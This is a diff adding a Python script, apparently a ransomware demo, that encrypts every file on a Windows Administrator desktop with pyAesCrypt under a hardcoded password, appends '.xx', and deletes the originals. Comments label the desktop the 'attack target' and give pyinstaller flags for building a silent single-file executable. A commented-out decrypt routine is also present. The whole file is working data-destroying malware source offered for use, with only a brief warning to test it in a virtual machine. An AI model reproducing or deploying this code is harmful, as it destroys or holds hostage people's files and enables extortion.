|
| 1 | +# coding:utf-8 |
| 2 | + |
| 3 | +import os |
| 4 | +import pyAesCrypt |
| 5 | + |
| 6 | +""" |
| 7 | +脚本有一定危险性,建议虚拟机中运行 |
| 8 | +
|
| 9 | +pyinstaller打包: |
| 10 | +# C:\test\>pyinstaller -F -w -p "C:\Users\Test\AppData\Local\Programs\Python\Python36\Lib\site-packages" file_encrypt_tool.py |
| 11 | +""" |
| 12 | + |
| 13 | +# login_user = os.getlogin() |
| 14 | + |
| 15 | +# get desktop path, attack target path, e.g. desktop path |
| 16 | +target_path = r"C:\Users\Administrator\Desktop" # use it build |
| 17 | +# target_path = r"C:\Users\{}\Desktop\test".format(login_user) # use it for vm test |
| 18 | +# target_path = r"D:\ws_python\devdemo\python_demo\test" # for dev debug |
| 19 | +print("[+] attack file path: ", target_path) |
| 20 | + |
| 21 | +file_list = list() |
| 22 | + |
| 23 | + |
| 24 | +def scanner_file(): |
| 25 | + # find current all file |
| 26 | + file = os.listdir(target_path) |
| 27 | + for f in file: |
| 28 | + file_list.append(f) |
| 29 | + # print(file_list) |
| 30 | + return file_list |
| 31 | + |
| 32 | + |
| 33 | +def encrypt_desktop_file(passwd="Hacking-to-the-Gate"): |
| 34 | + files = scanner_file() |
| 35 | + for file in files: |
| 36 | + # print(f"{target_path}\\{file}") # print(f"{target_path}\\{file}.xx") |
| 37 | + if os.path.isfile(f"{target_path}\\{file}"): |
| 38 | + try: |
| 39 | + pyAesCrypt.encryptFile(f"{target_path}\\{file}", f"{target_path}\\{file}.xx", passwd) |
| 40 | + os.remove(f"{target_path}\\{file}") # attention: delete origin file |
| 41 | + except RuntimeError: |
| 42 | + pass |
| 43 | + |
| 44 | + print("[+] finish encrypt files ...") |
| 45 | + |
| 46 | + |
| 47 | +def decrypt_desktop_file(passwd="Hacking-to-the-Gate"): |
| 48 | + files = scanner_file() |
| 49 | + |
| 50 | + for file in files: |
| 51 | + # print(f"{target_path}\\{file}") # print(f"{target_path}\\{file}.xx") |
| 52 | + if os.path.isfile(f"{target_path}\\{file}"): |
| 53 | + try: |
| 54 | + pyAesCrypt.decryptFile(f"{target_path}\\{file}", f"{target_path}\\{file.replace('.xx', '')}", passwd) |
| 55 | + os.remove(f"{target_path}\\{file}") # attention: delete origin file |
| 56 | + except RuntimeError: |
| 57 | + pass |
| 58 | + print("[+] finish decrypt files !!!") |
| 59 | + |
| 60 | + |
| 61 | +if __name__ == '__main__': |
| 62 | + encrypt_desktop_file() |
| 63 | + # decrypt_desktop_file() |
0 commit comments